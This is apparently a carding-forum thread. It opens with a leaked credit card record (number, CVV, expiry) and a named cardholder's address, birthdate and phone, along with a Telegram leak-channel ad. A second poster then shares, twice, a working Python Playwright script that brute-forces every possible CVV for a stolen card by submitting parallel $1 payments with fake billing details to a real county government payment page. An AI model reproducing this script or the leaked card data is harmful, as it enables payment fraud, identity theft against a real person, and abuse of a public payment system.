CC full info

Hochiko · 04-06-25, 02:10 AM

Bank : DEUTSCHER SPARKASSEN UND GIROVERBAND
Type : MASTERCARD - CREDIT
Level : CREDIT
Cardholders : Magdalena Schillings
CC Number : 5232534086490387
Expired : 07/2025
CVV : 272
AMEX CID :
Sort Code :
Credit Limit :
Copy : 5232534086490387|07|23|272
#--------------------------[ INFO ]-----------------------------#
WEB ID :
Card Password :
#-------------------------[ PERSONAL INFORMATION ]--------------------------------#
First Name : Magdalena
Last Name : Schillings
Address : Ather Straße 14
City : Würselen
State :
Country : Germany
Zip : 52146
BirthDay : 10/11/1994
Phone : 17642753389
inbox me in telegram @Hochiko
t.me/LeakBase01

hackernight · 04-06-25, 02:24 AM

do you have vbv ?

~~Deadman~~ · (This post was last modified: 04-06-25, 02:55 AM by Deadman.)

VALIDADOR CVV

TELEGRAM: @deadmanpe

Validador de CVV para CC

TELEGRAM: @deadmanpe

from playwright.sync_api import sync_playwright
import random
import time
import string
import os
import re
from collections import deque
import threading
import multiprocessing
from multiprocessing import Process, Queue, Value
import ctypes
import requests
import tempfile
import logging
import os
import random
import time

# Colores para la terminal
class Colores:
    ROJO = '\033[91m'
    VERDE = '\033[92m'
    AMARILLO = '\033[93m'
    AZUL = '\033[94m'
    RESET = '\033[0m'

# Configuración global de la tarjeta
TARJETA_NUMERO = ""
TARJETA_MES = ""
TARJETA_ANIO = "" 

# Lock global para imprimir en la terminal de forma ordenada
print_lock = threading.Lock()

def imprimir_resultado(mensaje, color=None):
    """Imprime un mensaje en la terminal con el formato adecuado y usando el lock global"""
    with print_lock:
        if color:
            print(f"{color}{mensaje}{Colores.RESET}")
        else:
            print(mensaje)

def generar_texto_random(tipo="comentario"):
    """Genera texto aleatorio para comentarios o emails."""
    if tipo == "comentario":
        palabras = ["pago", "servicio", "gracias", "transacción", "impuesto", "municipal", 
                    "online", "web", "formulario", "county", "florida", "palm", "beach"]
        return " ".join(random.choices(palabras, k=random.randint(5, 10))).capitalize()
    else:  # email
        dominios = ["gmail.com", "yahoo.com", "hotmail.com", "outlook.com"]
        nombre = ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
        return f"{nombre}@{random.choice(dominios)}"

def cargar_cvvs_probados():
    """Carga los CVVs ya probados del archivo cvvs_incorrectos.txt"""
    cvvs_probados = set()
    
    # Verificar si existe el archivo de CVVs incorrectos
    if os.path.exists("cvvs_incorrectos.txt"):
        with open("cvvs_incorrectos.txt", "r") as f:
            for linea in f:
                # Extraer el CVV de cada línea (formato: "XXX -> Reason: C2")
                match = re.match(r'(\d{3})', linea)
                if match:
                    cvvs_probados.add(match.group(1))
    
    imprimir_resultado(f"Se cargaron {len(cvvs_probados)} CVVs ya probados.")
    return cvvs_probados

def generar_lista_cvvs(cvvs_probados):
    """Genera una lista de todos los CVVs que faltan por probar."""
    todos_cvvs = [f"{i:03d}" for i in range(1000)]
    cvvs_por_probar = [cvv for cvv in todos_cvvs if cvv not in cvvs_probados]
    random.shuffle(cvvs_por_probar)  # Mezclar la lista para aleatorizar
    return cvvs_por_probar

def dividir_lista(lista, n_partes):
    """Divide una lista en n partes aproximadamente iguales."""
    k, m = divmod(len(lista), n_partes)
    return [lista[i*k + min(i, m):(i+1)*k + min(i+1, m)] for i in range(n_partes)]

def guardar_cvv_incorrecto(cvv, razon, lock=None):
    """Guarda un CVV incorrecto en el archivo cvvs_incorrectos.txt"""
    if lock:
        lock.acquire()
    try:
        with open("cvvs_incorrectos.txt", "a") as f:
            f.write(f"{cvv} -> {razon}\n")
    finally:
        if lock:
            lock.release()

def guardar_cvv_correcto(tarjeta, mes, anio, cvv, razon, lock=None):
    """Guarda un CVV correcto en el archivo cvvs_correctos.txt"""
    if lock:
        lock.acquire()
    try:
        with open("cvvs_correctos.txt", "a") as f:
            f.write(f"{tarjeta}|{mes}|{anio}|{cvv} -> {razon}\n")
    finally:
        if lock:
            lock.release()

def probar_cvv(page, cvv, tarjeta=TARJETA_NUMERO, mes=TARJETA_MES, anio=TARJETA_ANIO):
    """Prueba un CVV específico y devuelve el resultado."""
    try:
        # Paso 1: Navegar y completar el formulario inicial
        page.goto("https://secure.co.palm-beach.fl.us/onlinepayments/SelectItem.aspx?id=10-53")
        page.wait_for_load_state("networkidle")
        
        # Completar cantidad y comentario
        comentario = generar_texto_random("comentario")
        page.fill("#Amount1", "1")
        page.fill("#Comment1", comentario)
        
        # Hacer clic en el botón de pago
        page.click("#PayItems")
        page.wait_for_load_state("networkidle")
        time.sleep(5)  # Esperar a que cargue la página de pago
        
        # Paso 2: Manejar el iframe y completar el formulario de pago
        page.wait_for_selector("#ifConvFee", state="attached", timeout=15000)
        iframe = page.frame_locator("#ifConvFee")
        
        # Esperar a que el formulario esté disponible
        iframe.locator('input[name="bill_to_forename"]').wait_for(state="visible", timeout=10000)
        
        # Datos personales - Completar todos los campos de una vez
        datos_personales = {
            'input[name="bill_to_forename"]': "John",
            'input[name="bill_to_surname"]': "Smith",
            'input[name="bill_to_address_line1"]': "123 Main Street",
            'input[name="bill_to_address_city"]': "Miami",
            'input[name="bill_to_address_postal_code"]': "33101",
            'input[name="bill_to_phone"]': "305-555-1234",
            'input[name="bill_to_email"]': generar_texto_random("email")
        }
        
        # Llenar todos los campos de texto
        for selector, valor in datos_personales.items():
            iframe.locator(selector).fill(valor)
        
        # Seleccionar país y estado
        iframe.locator('select[name="bill_to_address_country"]').select_option("US")
        iframe.locator('select[name="bill_to_address_state_us_ca"]').select_option("FL")
        
        # Datos de la tarjeta
        iframe.locator('input[id="card_type_001"]').click()  # Visa
        iframe.locator('input[name="card_number"]').fill(tarjeta)
        iframe.locator('select[name="card_expiry_month"]').select_option(mes)
        iframe.locator('select[name="card_expiry_year"]').select_option(anio)
        iframe.locator('input[name="card_cvn"]').fill(cvv)
        
        # Finalizar el pago
        iframe.locator('input[type="submit"][value="Pay"]').click()
        
        # Esperar a que se complete el proceso
        page.wait_for_load_state("networkidle")
        time.sleep(3)  # Esperar 3 segundos específicamente
        
        # Buscar mensaje de error
        mensaje_error = None
        try:
            # Primero intentar en la página principal
            mensaje_error = page.locator('.SearchMessageArea #SearchMessage').text_content(timeout=3000)
            if not mensaje_error:
                # Si no se encuentra en la página principal, buscar en el iframe
                mensaje_error = iframe.locator('.SearchMessageArea #SearchMessage').text_content(timeout=3000)
        except:
            # Si no se encuentra ningún mensaje de error, devolver None
            return None
        
        return mensaje_error.strip() if mensaje_error else None
        
    except Exception as e:
        # No mostrar errores detallados en la terminal
        return None

def worker_process(worker_id, cvvs_lista, encontrado, file_lock, resultados_queue):
    """Proceso worker que prueba un conjunto de CVVs."""
    # Cola local de CVVs para reintentar con contador de intentos
    # Formato: (cvv, intentos_realizados)
    cvvs_reintentar = deque()
    
    # Máximo número de intentos por CVV
    max_intentos = 3
    
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=False)
        page = browser.new_page()
        
        try:
            # Primera ronda: probar todos los CVVs de la lista inicial
            for cvv in cvvs_lista:
                # Verificar si ya se encontró el CVV correcto
                if encontrado.value:
                    break
                
                resultado = probar_cvv(page, cvv)
                

                if resultado:
                    if "Reason: C2" in resultado:
                        # CVV incorrecto
                        #imprimir_resultado(f"{cvv} -> cvv incorrecto", Colores.ROJO)
                        imprimir_resultado(f"\u2716 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV INCORRECTO", Colores.ROJO)
                        guardar_cvv_incorrecto(cvv, "Reason: C2", file_lock)
                    elif "Reason: 51" in resultado:
                        # CVV correcto - ¡Éxito!
                        #imprimir_resultado(f"{cvv} -> cvv correcto", Colores.VERDE)
                        imprimir_resultado(f"\u2611 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO", Colores.VERDE)
                        guardar_cvv_correcto(TARJETA_NUMERO, TARJETA_MES, TARJETA_ANIO, cvv, "Reason: 51", file_lock)
                        
                        # Notificar a todos los workers que se encontró el CVV
                        encontrado.value = 1
                        
                        # Enviar el resultado al proceso principal
                        resultados_queue.put(("correcto", cvv))
                        break
                    else:
                        # Otro tipo de respuesta, añadir a la cola de reintentos
                        cvvs_reintentar.append((cvv, 1))  # 1 intento ya realizado
                else:
                    # Sin respuesta clara, añadir a la cola de reintentos
                    cvvs_reintentar.append((cvv, 1))  # 1 intento ya realizado
                
                # Pequeña pausa entre intentos para no sobrecargar el servidor
                time.sleep(random.uniform(0.5, 2))
            
            # Segunda ronda y posteriores: procesar los CVVs que necesitan reintento
            while cvvs_reintentar and not encontrado.value:
                cvv, intentos = cvvs_reintentar.popleft()
                
                # Verificar si ya se alcanzó el máximo de intentos
                if intentos >= max_intentos:
                    # Mostrar mensaje de que se alcanzó el máximo de intentos
                    imprimir_resultado(f"{cvv} -> sin respuesta clara después de {max_intentos} intentos", Colores.AMARILLO)
                    continue
                
                # Reintentar el CVV
                resultado = probar_cvv(page, cvv)
                
                if resultado:
                    if "Reason: C2" in resultado:
                        # CVV incorrecto
                        #imprimir_resultado(f"{cvv} -> cvv incorrecto", Colores.ROJO)
                        imprimir_resultado(f"\u2716 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV INCORRECTO", Colores.ROJO)
                        guardar_cvv_incorrecto(cvv, "Reason: C2", file_lock)
                    elif "Reason: 51" in resultado:
                        # CVV correcto - ¡Éxito!
                        #imprimir_resultado(f"{cvv} -> cvv correcto", Colores.VERDE)
                        #enviar_mensaje(f"{TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO")
                        imprimir_resultado(f"\u2611 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO", Colores.VERDE)
                        guardar_cvv_correcto(TARJETA_NUMERO, TARJETA_MES, TARJETA_ANIO, cvv, "Reason: 51", file_lock)
                        #enviar_mensaje(f"{TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO")
                        
                        # Notificar a todos los workers que se encontró el CVV
                        encontrado.value = 1
                        
                        # Enviar el resultado al proceso principal
                        resultados_queue.put(("correcto", cvv))
                        break
                    else:
                        # Otro tipo de respuesta, volver a la cola si no se alcanzó el máximo
                        if intentos + 1 < max_intentos:
                            cvvs_reintentar.append((cvv, intentos + 1))
                        else:
                            imprimir_resultado(f"{cvv} -> sin respuesta clara después de {max_intentos} intentos", Colores.AMARILLO)
                else:
                    # Sin respuesta clara, volver a la cola si no se alcanzó el máximo
                    if intentos + 1 < max_intentos:
                        cvvs_reintentar.append((cvv, intentos + 1))
                    else:
                        imprimir_resultado(f"{cvv} -> sin respuesta clara después de {max_intentos} intentos", Colores.AMARILLO)
                
                # Pequeña pausa entre intentos para no sobrecargar el servidor
                time.sleep(random.uniform(0.5, 2))
                
        except Exception as e:
            # No mostrar errores detallados en la terminal
            resultados_queue.put(("error", str(e)))
        finally:
            browser.close()
            resultados_queue.put(("terminado", worker_id))

def main():
    # Número de workers (navegadores en paralelo)
    num_workers = 20
    
    # Cargar CVVs ya probados
    cvvs_probados = cargar_cvvs_probados()
    
    # Generar lista de CVVs por probar y dividirla entre los workers
    cvvs_por_probar = generar_lista_cvvs(cvvs_probados)
    imprimir_resultado(f"Total de CVVs por probar: {len(cvvs_por_probar)}")
    
    listas_cvvs = dividir_lista(cvvs_por_probar, num_workers)
    
    # Variable compartida para indicar si se encontró el CVV correcto
    encontrado = Value(ctypes.c_bool, False)
    
    # Lock para acceso a archivos
    file_lock = multiprocessing.Lock()
    
    # Cola para comunicación entre procesos
    resultados_queue = Queue()
    
    # Crear y iniciar los procesos worker
    workers = []
    for i in range(num_workers):
        p = Process(target=worker_process, args=(i, listas_cvvs[i], encontrado, file_lock, resultados_queue))
        workers.append(p)
        p.start()
    
    # Monitorear los resultados
    workers_activos = num_workers
    cvv_encontrado = None
    
    while workers_activos > 0:
        try:
            tipo, mensaje = resultados_queue.get(timeout=1)
            
            if tipo == "correcto":
                cvv_encontrado = mensaje
            elif tipo == "terminado":
                workers_activos -= 1
            # No mostrar mensajes de error en la terminal
        
        except:
            # Timeout en la cola, seguir esperando
            pass
    
    # Esperar a que todos los procesos terminen
    for p in workers:
        p.join()
    
    if cvv_encontrado:
        imprimir_resultado(f"\n¡Proceso completado! CVV correcto encontrado: {cvv_encontrado}", Colores.VERDE)
    else:
        imprimir_resultado("\nProceso completado. No se encontró ningún CVV correcto.", Colores.AMARILLO)

if __name__ == "__main__":
    multiprocessing.freeze_support()  # Necesario para Windows
    main()

Validador CVV

TELEGRAM: @deadmanpe

from playwright.sync_api import sync_playwright
import random
import time
import string
import os
import re
from collections import deque
import threading
import multiprocessing
from multiprocessing import Process, Queue, Value
import ctypes
import requests
import tempfile
import logging
import os
import random
import time

# Colores para la terminal
class Colores:
    ROJO = '\033[91m'
    VERDE = '\033[92m'
    AMARILLO = '\033[93m'
    AZUL = '\033[94m'
    RESET = '\033[0m'

# Configuración global de la tarjeta
TARJETA_NUMERO = ""
TARJETA_MES = ""
TARJETA_ANIO = "" 

# Lock global para imprimir en la terminal de forma ordenada
print_lock = threading.Lock()

def imprimir_resultado(mensaje, color=None):
    """Imprime un mensaje en la terminal con el formato adecuado y usando el lock global"""
    with print_lock:
        if color:
            print(f"{color}{mensaje}{Colores.RESET}")
        else:
            print(mensaje)

def generar_texto_random(tipo="comentario"):
    """Genera texto aleatorio para comentarios o emails."""
    if tipo == "comentario":
        palabras = ["pago", "servicio", "gracias", "transacción", "impuesto", "municipal", 
                    "online", "web", "formulario", "county", "florida", "palm", "beach"]
        return " ".join(random.choices(palabras, k=random.randint(5, 10))).capitalize()
    else:  # email
        dominios = ["gmail.com", "yahoo.com", "hotmail.com", "outlook.com"]
        nombre = ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
        return f"{nombre}@{random.choice(dominios)}"

def cargar_cvvs_probados():
    """Carga los CVVs ya probados del archivo cvvs_incorrectos.txt"""
    cvvs_probados = set()
    
    # Verificar si existe el archivo de CVVs incorrectos
    if os.path.exists("cvvs_incorrectos.txt"):
        with open("cvvs_incorrectos.txt", "r") as f:
            for linea in f:
                # Extraer el CVV de cada línea (formato: "XXX -> Reason: C2")
                match = re.match(r'(\d{3})', linea)
                if match:
                    cvvs_probados.add(match.group(1))
    
    imprimir_resultado(f"Se cargaron {len(cvvs_probados)} CVVs ya probados.")
    return cvvs_probados

def generar_lista_cvvs(cvvs_probados):
    """Genera una lista de todos los CVVs que faltan por probar."""
    todos_cvvs = [f"{i:03d}" for i in range(1000)]
    cvvs_por_probar = [cvv for cvv in todos_cvvs if cvv not in cvvs_probados]
    random.shuffle(cvvs_por_probar)  # Mezclar la lista para aleatorizar
    return cvvs_por_probar

def dividir_lista(lista, n_partes):
    """Divide una lista en n partes aproximadamente iguales."""
    k, m = divmod(len(lista), n_partes)
    return [lista[i*k + min(i, m):(i+1)*k + min(i+1, m)] for i in range(n_partes)]

def guardar_cvv_incorrecto(cvv, razon, lock=None):
    """Guarda un CVV incorrecto en el archivo cvvs_incorrectos.txt"""
    if lock:
        lock.acquire()
    try:
        with open("cvvs_incorrectos.txt", "a") as f:
            f.write(f"{cvv} -> {razon}\n")
    finally:
        if lock:
            lock.release()

def guardar_cvv_correcto(tarjeta, mes, anio, cvv, razon, lock=None):
    """Guarda un CVV correcto en el archivo cvvs_correctos.txt"""
    if lock:
        lock.acquire()
    try:
        with open("cvvs_correctos.txt", "a") as f:
            f.write(f"{tarjeta}|{mes}|{anio}|{cvv} -> {razon}\n")
    finally:
        if lock:
            lock.release()

def probar_cvv(page, cvv, tarjeta=TARJETA_NUMERO, mes=TARJETA_MES, anio=TARJETA_ANIO):
    """Prueba un CVV específico y devuelve el resultado."""
    try:
        # Paso 1: Navegar y completar el formulario inicial
        page.goto("https://secure.co.palm-beach.fl.us/onlinepayments/SelectItem.aspx?id=10-53")
        page.wait_for_load_state("networkidle")
        
        # Completar cantidad y comentario
        comentario = generar_texto_random("comentario")
        page.fill("#Amount1", "1")
        page.fill("#Comment1", comentario)
        
        # Hacer clic en el botón de pago
        page.click("#PayItems")
        page.wait_for_load_state("networkidle")
        time.sleep(5)  # Esperar a que cargue la página de pago
        
        # Paso 2: Manejar el iframe y completar el formulario de pago
        page.wait_for_selector("#ifConvFee", state="attached", timeout=15000)
        iframe = page.frame_locator("#ifConvFee")
        
        # Esperar a que el formulario esté disponible
        iframe.locator('input[name="bill_to_forename"]').wait_for(state="visible", timeout=10000)
        
        # Datos personales - Completar todos los campos de una vez
        datos_personales = {
            'input[name="bill_to_forename"]': "John",
            'input[name="bill_to_surname"]': "Smith",
            'input[name="bill_to_address_line1"]': "123 Main Street",
            'input[name="bill_to_address_city"]': "Miami",
            'input[name="bill_to_address_postal_code"]': "33101",
            'input[name="bill_to_phone"]': "305-555-1234",
            'input[name="bill_to_email"]': generar_texto_random("email")
        }
        
        # Llenar todos los campos de texto
        for selector, valor in datos_personales.items():
            iframe.locator(selector).fill(valor)
        
        # Seleccionar país y estado
        iframe.locator('select[name="bill_to_address_country"]').select_option("US")
        iframe.locator('select[name="bill_to_address_state_us_ca"]').select_option("FL")
        
        # Datos de la tarjeta
        iframe.locator('input[id="card_type_001"]').click()  # Visa
        iframe.locator('input[name="card_number"]').fill(tarjeta)
        iframe.locator('select[name="card_expiry_month"]').select_option(mes)
        iframe.locator('select[name="card_expiry_year"]').select_option(anio)
        iframe.locator('input[name="card_cvn"]').fill(cvv)
        
        # Finalizar el pago
        iframe.locator('input[type="submit"][value="Pay"]').click()
        
        # Esperar a que se complete el proceso
        page.wait_for_load_state("networkidle")
        time.sleep(3)  # Esperar 3 segundos específicamente
        
        # Buscar mensaje de error
        mensaje_error = None
        try:
            # Primero intentar en la página principal
            mensaje_error = page.locator('.SearchMessageArea #SearchMessage').text_content(timeout=3000)
            if not mensaje_error:
                # Si no se encuentra en la página principal, buscar en el iframe
                mensaje_error = iframe.locator('.SearchMessageArea #SearchMessage').text_content(timeout=3000)
        except:
            # Si no se encuentra ningún mensaje de error, devolver None
            return None
        
        return mensaje_error.strip() if mensaje_error else None
        
    except Exception as e:
        # No mostrar errores detallados en la terminal
        return None

def worker_process(worker_id, cvvs_lista, encontrado, file_lock, resultados_queue):
    """Proceso worker que prueba un conjunto de CVVs."""
    # Cola local de CVVs para reintentar con contador de intentos
    # Formato: (cvv, intentos_realizados)
    cvvs_reintentar = deque()
    
    # Máximo número de intentos por CVV
    max_intentos = 3
    
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=False)
        page = browser.new_page()
        
        try:
            # Primera ronda: probar todos los CVVs de la lista inicial
            for cvv in cvvs_lista:
                # Verificar si ya se encontró el CVV correcto
                if encontrado.value:
                    break
                
                resultado = probar_cvv(page, cvv)
                

                if resultado:
                    if "Reason: C2" in resultado:
                        # CVV incorrecto
                        #imprimir_resultado(f"{cvv} -> cvv incorrecto", Colores.ROJO)
                        imprimir_resultado(f"\u2716 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV INCORRECTO", Colores.ROJO)
                        guardar_cvv_incorrecto(cvv, "Reason: C2", file_lock)
                    elif "Reason: 51" in resultado:
                        # CVV correcto - ¡Éxito!
                        #imprimir_resultado(f"{cvv} -> cvv correcto", Colores.VERDE)
                        imprimir_resultado(f"\u2611 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO", Colores.VERDE)
                        guardar_cvv_correcto(TARJETA_NUMERO, TARJETA_MES, TARJETA_ANIO, cvv, "Reason: 51", file_lock)
                        
                        # Notificar a todos los workers que se encontró el CVV
                        encontrado.value = 1
                        
                        # Enviar el resultado al proceso principal
                        resultados_queue.put(("correcto", cvv))
                        break
                    else:
                        # Otro tipo de respuesta, añadir a la cola de reintentos
                        cvvs_reintentar.append((cvv, 1))  # 1 intento ya realizado
                else:
                    # Sin respuesta clara, añadir a la cola de reintentos
                    cvvs_reintentar.append((cvv, 1))  # 1 intento ya realizado
                
                # Pequeña pausa entre intentos para no sobrecargar el servidor
                time.sleep(random.uniform(0.5, 2))
            
            # Segunda ronda y posteriores: procesar los CVVs que necesitan reintento
            while cvvs_reintentar and not encontrado.value:
                cvv, intentos = cvvs_reintentar.popleft()
                
                # Verificar si ya se alcanzó el máximo de intentos
                if intentos >= max_intentos:
                    # Mostrar mensaje de que se alcanzó el máximo de intentos
                    imprimir_resultado(f"{cvv} -> sin respuesta clara después de {max_intentos} intentos", Colores.AMARILLO)
                    continue
                
                # Reintentar el CVV
                resultado = probar_cvv(page, cvv)
                
                if resultado:
                    if "Reason: C2" in resultado:
                        # CVV incorrecto
                        #imprimir_resultado(f"{cvv} -> cvv incorrecto", Colores.ROJO)
                        imprimir_resultado(f"\u2716 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV INCORRECTO", Colores.ROJO)
                        guardar_cvv_incorrecto(cvv, "Reason: C2", file_lock)
                    elif "Reason: 51" in resultado:
                        # CVV correcto - ¡Éxito!
                        #imprimir_resultado(f"{cvv} -> cvv correcto", Colores.VERDE)
                        #enviar_mensaje(f"{TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO")
                        imprimir_resultado(f"\u2611 {TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO", Colores.VERDE)
                        guardar_cvv_correcto(TARJETA_NUMERO, TARJETA_MES, TARJETA_ANIO, cvv, "Reason: 51", file_lock)
                        #enviar_mensaje(f"{TARJETA_NUMERO}|{TARJETA_MES}|{TARJETA_ANIO}|{cvv} -> CVV CORRECTO")
                        
                        # Notificar a todos los workers que se encontró el CVV
                        encontrado.value = 1
                        
                        # Enviar el resultado al proceso principal
                        resultados_queue.put(("correcto", cvv))
                        break
                    else:
                        # Otro tipo de respuesta, volver a la cola si no se alcanzó el máximo
                        if intentos + 1 < max_intentos:
                            cvvs_reintentar.append((cvv, intentos + 1))
                        else:
                            imprimir_resultado(f"{cvv} -> sin respuesta clara después de {max_intentos} intentos", Colores.AMARILLO)
                else:
                    # Sin respuesta clara, volver a la cola si no se alcanzó el máximo
                    if intentos + 1 < max_intentos:
                        cvvs_reintentar.append((cvv, intentos + 1))
                    else:
                        imprimir_resultado(f"{cvv} -> sin respuesta clara después de {max_intentos} intentos", Colores.AMARILLO)
                
                # Pequeña pausa entre intentos para no sobrecargar el servidor
                time.sleep(random.uniform(0.5, 2))
                
        except Exception as e:
            # No mostrar errores detallados en la terminal
            resultados_queue.put(("error", str(e)))
        finally:
            browser.close()
            resultados_queue.put(("terminado", worker_id))

def main():
    # Número de workers (navegadores en paralelo)
    num_workers = 20
    
    # Cargar CVVs ya probados
    cvvs_probados = cargar_cvvs_probados()
    
    # Generar lista de CVVs por probar y dividirla entre los workers
    cvvs_por_probar = generar_lista_cvvs(cvvs_probados)
    imprimir_resultado(f"Total de CVVs por probar: {len(cvvs_por_probar)}")
    
    listas_cvvs = dividir_lista(cvvs_por_probar, num_workers)
    
    # Variable compartida para indicar si se encontró el CVV correcto
    encontrado = Value(ctypes.c_bool, False)
    
    # Lock para acceso a archivos
    file_lock = multiprocessing.Lock()
    
    # Cola para comunicación entre procesos
    resultados_queue = Queue()
    
    # Crear y iniciar los procesos worker
    workers = []
    for i in range(num_workers):
        p = Process(target=worker_process, args=(i, listas_cvvs[i], encontrado, file_lock, resultados_queue))
        workers.append(p)
        p.start()
    
    # Monitorear los resultados
    workers_activos = num_workers
    cvv_encontrado = None
    
    while workers_activos > 0:
        try:
            tipo, mensaje = resultados_queue.get(timeout=1)
            
            if tipo == "correcto":
                cvv_encontrado = mensaje
            elif tipo == "terminado":
                workers_activos -= 1
            # No mostrar mensajes de error en la terminal
        
        except:
            # Timeout en la cola, seguir esperando
            pass
    
    # Esperar a que todos los procesos terminen
    for p in workers:
        p.join()
    
    if cvv_encontrado:
        imprimir_resultado(f"\n¡Proceso completado! CVV correcto encontrado: {cvv_encontrado}", Colores.VERDE)
    else:
        imprimir_resultado("\nProceso completado. No se encontró ningún CVV correcto.", Colores.AMARILLO)

if __name__ == "__main__":
    multiprocessing.freeze_support()  # Necesario para Windows
    main()

V2Slay · 01-10-25, 08:08 PM

thanks

ctrung06 · 31-01-26, 12:19 AM

thanks